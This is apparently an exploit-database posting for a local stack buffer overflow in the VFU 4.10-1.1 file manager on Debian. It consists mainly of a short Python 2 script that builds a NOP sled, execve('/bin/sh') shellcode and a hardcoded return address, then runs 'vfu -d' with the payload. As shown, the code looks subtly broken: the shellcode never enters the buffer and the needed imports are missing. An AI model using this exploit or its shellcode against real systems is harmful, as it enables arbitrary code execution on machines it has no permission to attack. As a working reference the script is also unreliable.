VFU 4.10-1.1 – Local Buffer Overflow
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com> # Tested on: GNU/Linux - Debian Wheezy # Description: VFU v4.10-1.1 is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate # boundary-checks on user-supplied input. # # An attacker can exploit this issue to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # # Vendor homepage: VFU v4.10-1.1 ( Latest version ) - http://cade.datamax.bg/vfu/ # Debian package: https://packages.debian.org/wheezy/vfu buffersize = 803 nopsled = "\x90" shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\x10\xf0\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip try: subprocess.call(["vfu -d", buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "VFU not found!" else: print "Error executing exploit" raise |